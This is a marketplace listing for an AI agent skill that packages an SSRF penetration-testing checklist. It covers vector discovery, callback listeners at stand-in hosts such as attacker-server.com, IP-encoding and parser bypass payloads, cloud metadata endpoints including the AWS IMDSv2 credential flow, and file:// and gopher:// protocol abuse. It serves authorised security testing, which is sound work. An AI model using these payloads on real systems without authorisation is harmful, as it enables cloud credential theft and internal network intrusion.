Install
$ agentstack add skill-snailsploit-claude-red-offensive-ssrf ✓ scanned · ✓ verified, works with Claude Code, Cursor, and more.
Security review
✓ PassedNo issues found. Passed automated security review. · v0.1.0 How review works →
- ✓ Prompt-injection patterns
- ✓ Secret / credential exfiltration
- ✓ Dangerous shell & filesystem operations
- ✓ Untrusted network calls
- ✓ Known-malicious package signatures
What it can access
- ● Network access Used
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ✓ Environment & secrets No
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
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Reliability & compatibility
Declared compatibility
Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.
We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.
How agent discovery & health will work →About
SKILL: Server-Side Request Forgery (SSRF)
Metadata
- Skill Name: ssrf
- Folder: offensive-ssrf
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/ssrf.md
Description
Server-Side Request Forgery testing checklist: SSRF discovery, blind SSRF with out-of-band, cloud metadata endpoints (AWS/GCP/Azure), SSRF filter bypass techniques (IP encoding, DNS rebinding, redirect chains), and SSRF to RCE escalation. Use for web app SSRF testing and bug bounty.
Trigger Phrases
Use this skill when the conversation involves any of: SSRF, server-side request forgery, blind SSRF, cloud metadata, AWS metadata, GCP metadata, SSRF bypass, DNS rebinding, redirect chain, SSRF RCE, internal port scan
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
Server-Side Request Forgery (SSRF)
Shortcut
- Spot the features prone to SSRF and take notes for future reference.
- Set up a callback listener to detect blind SSRF by using an online service, Netcat, or Burp's Collaborator feature.
- Provide the potentially vulnerable endpoints with common internal addresses or the address of your callback listener.
- Check if the server responds with information that confirms the SSRF. Or, in the case of a blind SSRF, check your server logs for requests from the target server.
- In the case of a blind SSRF, check if the server behavior differs when you request different hosts or ports.
- If SSRF protection is implemented, try to bypass it by using the strategies discussed in this chapter.
- Pick a tactic to escalate the SSRF.
flowchart LR
A[Identify SSRF Vectors] --> B[Setup Callback Listener]
B --> C[Test Internal Addresses]
C --> D{Response Contains\nInternal Data?}
D -->|Yes| E[Basic SSRF Confirmed]
D -->|No| F[Check Callback\nListener Logs]
F --> G{Callbacks\nReceived?}
G -->|Yes| H[Blind SSRF Confirmed]
G -->|No| I[Try Bypass Techniques]
I --> J[Retest with Bypasses]
E --> K[Escalate SSRF]
H --> K
J --> D
Mechanisms
Server-Side Request Forgery (SSRF) is a vulnerability that allows attackers to induce a server-side application to make requests to an unintended location. In a successful SSRF attack, the attacker can force the server to connect to:
- Internal services within the organization's infrastructure
- External systems on the internet
- Services on the same server (localhost)
- Cloud service provider metadata endpoints
graph TD
A[Attacker] -->|Sends crafted request| B[Vulnerable Web App]
B -->|Makes request to| C[Unintended Target]
C -->|Responds with data| B
B -->|Includes response data| A
subgraph "Possible Targets"
C
D[Internal Network Services]
E[Cloud Metadata Service]
F[External Web Services]
G[Local Services on Same Server]
end
C --- D
C --- E
C --- F
C --- G
Types of SSRF include:
- Basic SSRF: Direct requests to internal/external resources
- Blind SSRF: No response returned, but requests still occur
- Semi-blind SSRF: Limited information returned in responses
- Time-based SSRF: Detection through response timing differences
- Out-of-band SSRF: Secondary channel used for data exfiltration
Hunt
Identifying SSRF Vectors
- URL Input Fields:
- Website preview generators
- Document/image imports from URLs
- API integrations with external services
- Webhook configurations
- Export to PDF/screenshot functionality
- Proxy Functionality:
- Web proxies
- Content fetchers
- API gateways
- Translation services
- File Processing:
- Media conversion tools
- Document processors
- XML/JSON processors with external entity support
- Integration Points:
- Third-party service connections
- Cloud storage integrations
- Monitoring systems
- Webhook endpoints
mindmap
root((SSRF Vectors))
URL Input Fields
Website Previews
URL Imports
API Integrations
Webhooks
PDF/Screenshot Export
Proxy Functionality
Web Proxies
Content Fetchers
API Gateways
Translation Services
File Processing
Media Converters
Document Processors
XML/JSON Processors
Integration Points
Third-party Services
Cloud Storage
Monitoring Systems
Webhook Endpoints
Test Methodology
- Identify Parameters: Find URL or hostname parameters
- Setup Listener: Configure a system to detect callbacks
- Public server with unique URL
- Burp Collaborator
- Tools like Interactsh or canarytokens.org
- Test Internal Access: Try accessing internal resources
`` http://localhost:port http://127.0.0.1:port http://0.0.0.0:port http://internal-service.local http://169.254.169.254/ (cloud metadata) ``
- Observe Responses: Check for:
- Response time differences
- Error messages
- Content leakage
- Callbacks to your server
sequenceDiagram
participant Attacker
participant WebApp as Vulnerable Web App
participant Internal as Internal Services
participant CallbackServer as Attacker's Callback Server
Note over Attacker,CallbackServer: Phase 1: Basic SSRF Testing
Attacker->>WebApp: Request with Internal URL(http://localhost:8080)
WebApp->>Internal: Makes request to internal service
Internal->>WebApp: Response from internal service
WebApp->>Attacker: Leaked internal response
Note over Attacker,CallbackServer: Phase 2: Blind SSRF Testing
Attacker->>WebApp: Request with Callback URL(http://attacker-server.com/unique-id)
WebApp->>CallbackServer: Makes request to callback server
CallbackServer->>Attacker: Log notification of request
Note over Attacker,CallbackServer: Phase 3: Bypass Testing
Attacker->>WebApp: Request with Obfuscated URL(http://127.0.0.1.attacker.com)
WebApp->>CallbackServer: Makes request due to parser confusion
CallbackServer->>Attacker: Log notification of successful bypass
Bypass Techniques Hunting
- Look for partial validation or URL parsing issues
- Test scheme changes (http→https, http→file)
- Try different IP formats (decimal, octal, hex)
- Use URL shorteners if allowed
- Check DNS rebinding possibilities
Bypass Techniques
Allowlist Bypasses
- Open Redirects: Using allowed domains with redirect parameters
`` https://allowed-domain.com/redirect?url=http://internal-server ``
- DNS Spoofing: Register expired domains from allowlist
- Subdomain Takeover: Control subdomains of allowed domains
- Path Traversal:
https://allowed-domain.com@evil.com
Denylist Bypasses
- Alternate IP Representations:
`` http://127.0.0.1/ http://127.1/ http://0177.0.0.1/ http://0x7f.0.0.1/ http://2130706433/ (decimal representation) ``
- IPv6 Variations:
`` http://[::1]/ http://[::127.0.0.1]/ http://[0:0:0:0:0:ffff:127.0.0.1]/ ``
- Domain Resolutions:
`` http://localhost.evil.com/ (when attacker controls evil.com DNS) http://spoofed-domain/ (with modified /etc/hosts) ``
- URL Encoding Tricks:
`` http://127.0.0.1/ → http://127%2e0%2e0%2e1/ http://localhost/ → http://%6c%6f%63%61%6c%68%6f%73%74/ ``
- Non-Standard Ports: Accessing standard services on non-standard ports
- Case Manipulation:
http://LoCaLhOsT/ - URL Schema Confusion:
http:////localhost/
flowchart TD
A[SSRF Protection Bypass] --> B[Allowlist Bypass]
A --> C[Denylist Bypass]
B --> B1[Open Redirects]
B --> B2[DNS Spoofing]
B --> B3[Subdomain Takeover]
B --> B4[Path Traversal]
C --> C1[IP Representation Tricks]
C1 --> C1a[Decimal: 2130706433]
C1 --> C1b[Octal: 0177.0.0.1]
C1 --> C1c[Hex: 0x7f.0.0.1]
C1 --> C1d[Shortened: 127.1]
C --> C2[IPv6 Variations]
C2 --> C2a["[::1]"]
C2 --> C2b["[::127.0.0.1]"]
C --> C3[Domain Tricks]
C3 --> C3a[localhost.evil.com]
C3 --> C3b[spoofed-domain]
C --> C4[Encoding Tricks]
C4 --> C4a[URL Encoding]
C4 --> C4b[Double Encoding]
C --> C5[Schema Confusion]
C5 --> C5a["http:////localhost"]
style A fill:#f96,stroke:#333,stroke-width:2px,color:#333
style B fill:#aae,stroke:#333,color:#333
style C fill:#aae,stroke:#333,color:#333
Uncommon Techniques
- DNS Rebinding: Change DNS resolution mid-connection
- Temporal Intents: Reliance on stale DNS resolution
- Double URL Encoding: Encode already encoded values
- Unicode Normalization: Using similar-looking characters
- Protocol Downgrading: Switching from https to http
Additional Cloud Endpoints
- Alibaba Cloud:
http://100.100.100.200/latest/meta-data/ - Packet Cloud:
https://metadata.packet.net/userdata - ECS Task:
http://169.254.170.2/v2/credentials/ - OpenStack:
http://169.254.169.254/openstack/latest/meta_data.json
Other Bypass Methods
- Weak Parser Exploits:
`` http://127.1.1.1:80\@127.2.2.2:80/ http://127.1.1.1:80\@@127.2.2.2:80/ http://127.1.1.1:80:\@@127.2.2.2:80/ ``
- Filter Bypass:
`` 0://evil.com:80;http://google.com:80/ ``
- Enclosed Alphanumerics: Using special Unicode characters that look like regular characters
`` http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ ``
- Host header abuse (
Host:orX-Forwarded-Host:) against permissive back-end proxies - Unicode homoglyph hostnames (e.g., ⅰⅱⅲ.local) to dodge simple regex checks
- DNS-over-HTTPS lookups (
https://dns.google/resolve?name=…) to leak internal hostnames
PDF SSRF Exploitation
When SSRF occurs in PDF rendering functionality, SVG can be used to exploit it:
Additional IP Representation Bypasses
http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
http://%73%68%6d%69%6c%6f%6e%2e%63%6f%6d
http://0330.072.0326.0343
http://033016553343
http://0x0NaN0NaN
http://0xNaN.0xaN0NaN
http://0xNaN.0xNa0x0NaN
http://shmilon.0xNaN.undefined.undefined
http://NaN
http://0NaN
http://0NaN.0NaN
Vulnerabilities
Common SSRF Vulnerabilities
Cloud Metadata Access
- AWS:
http://169.254.169.254/latest/meta-data/(IMDSv2 is now default; first acquire a session token withPUT /latest/api/tokenand include it inX-aws-ec2-metadata-token)
AWS IMDSv2 Session Token Bypass Techniques:
Many SSRF filters block 169.254.169.254 but miss the two-step IMDSv2 flow:
# Step 1: Obtain session token (requires PUT request)
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
# If application supports PUT via SSRF parameter:
# Example 1: Via parameter that accepts methods
POST /api/fetch
{
"url": "http://169.254.169.254/latest/api/token",
"method": "PUT",
"headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
}
# Example 2: Via URL scheme that triggers PUT
http://vulnerable.com/proxy?url=http://169.254.169.254/latest/api/token&method=PUT
# Step 2: Use token to access metadata
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
X-aws-ec2-metadata-token:
IMDSv2 Bypass Scenarios:
- Application supports custom HTTP methods in SSRF
- Server-side HTTP client uses method from request parameter
- HTTP parameter pollution (mixing GET with PUT semantics)
- SSRF through applications that intentionally support PUT (webhooks, API gateways)
- Vulnerable proxy servers that forward method override headers (
X-HTTP-Method-Override: PUT)
- Azure:
http://169.254.169.254/metadata/instance(requires headerMetadata: trueandapi-version; alternate IPhttp://168.63.129.16/metadata/instance) - DigitalOcean:
http://169.254.169.254/metadata/v1.json - Equinix Metal:
http://169.254.169.254/metadata(legacymetadata.packet.netnow redirects here) - Google Cloud:
http://metadata.google.internal/computeMetadata/v1/ - Oracle Cloud:
http://169.254.169.254/opc/v1/instance/
Internal Service Exposure
- Admin Interfaces:
http://localhost:8080/admin - Databases:
http://localhost:3306,http://localhost:27017 - Caching Servers:
http://localhost:6379(Redis) - Management APIs:
http://localhost:8500(Consul) - Development Servers:
http://localhost:3000,http://localhost:8000
Protocol Abuse
- File Protocol:
file:///etc/passwd - Dict Protocol:
dict://localhost:6379/info - Gopher Protocol:
gopher://localhost:25/ - TFTP Protocol:
tftp://localhost:69/ - LDAP Protocol:
ldap://localhost:389/ - HTTP/2 Coalescing: Re-used TLS connections between SAN-matched hostnames can bypass host-based filters
- h2c Upgrade: Clear-text HTTP/2 upgrade (
PRI * HTTP/2.0) may slip past scheme filters - IPv6‑mapped IPv4:
http://[::ffff:127.0.0.1]andhttp://[::ffff:7f00:1] - Zone‑scoped IPv6:
http://[fe80::1%25lo0]:80may confuse naive validators
graph TB
A[SSRF Vulnerability]
A --> B[Cloud MetadataExploitation]
A --> C[Internal ServiceAccess]
A --> D[ProtocolAbuse]
B --> B1["AWS: 169.254.169.254"]
B --> B2["GCP: metadata.google.internal"]
B --> B3["Azure: 169.254.169.254/metadata"]
C --> C1["Admin: localhost:8080/admin"]
C --> C2["DB: localhost:3306, 27017"]
C --> C3["Cache: localhost:6379"]
C --> C4["DevSrv: localhost:3000, 8000"]
D --> D1["file:///etc/passwd"]
D --> D2["dict://localhost:6379"]
D --> D3["gopher://localhost:25"]
D --> D4["ldap://localhost:389"]
style A fill:#b7b,stroke:#333,stroke-width:2px,color:#333
style B fill:#aae,stroke:#333,color:#333
style C fill:#aae,stroke:#333,color:#333
style D fill:#aae,stroke:#333,color:#333
Common SSRF Parameters
url, dest, redirect, uri, path, continue, window, next, data, reference,
site, html, val, validate, domain, callback, return, page, feed, host,
port, to, out, view, dir, origin, source, endpoint, proxy, fetch, img_url
link, site_url, media_url
Methodologies
Tools
- Burp Suite Extensions:
- Collaborator
- SSRF Scanner
- Param Miner
- Turbo Intruder
- Specialized SSRF Tools:
- SSRFmap
- Gopherus
- SSRF Sheriff
- Interactsh
- Network Utilities:
- Netcat
- TCPDump
- Wireshark
- Payload Generators:
- PayloadsAllTheThings (SSRF section)
- FuzzDB
Testing Process
graph TD
A[Start SSRF Testing] --> B[Initial Discovery]
B --> B1[Map Entry Points]
B --> B2[Setup OOB Detection]
B --> B3[Test External URLs]
B --> B4[Analyze Responses]
B4 --> C{Potential SSRF?}
C -->|Yes| D[Vulnerability Confirmation]
C -->|No| E[Test Different Parameters]
E --> B4
D --> D1[Test Internal Resources]
D --> D2[Test Blind SSRF]
D --> D3[Test Protocol Support]
D3 --> F{Vulnerability Confirmed?}
F -->|Yes| G[Exploitation]
F -->|No| H[Test Bypass Techniques]
H --> D1
G --> G1[Port Scanning]
G --> G2[Cloud Metadata Access]
G --> G3[Protocol-Specific Exploitation]
G --> G4[File Access]
G4 --> I[Documentation/Reporting]
style A fill:#f9f,stroke:#333,stroke-width:2px,color:#333
style C fill:#ff9,stroke:#333,stroke-width:2px,color:#333
style F fill:#ff9,stroke:#333,stroke-width:2px,color:#333
style I fill:#9f9,stroke:#333,stroke-width:2px,color:#333
Initial Discovery
- Map all application entry points accepting URLs or file paths
- Set up out-of-band detection server (e.g., Burp Collaborator)
- Test with benign external URL (e.g
…
Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- Author: SnailSploit
- Source: SnailSploit/Claude-Red
- License: MIT
Install and usage instructions live in the source repository linked above.
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Versions
- v0.1.0 Imported from the upstream source.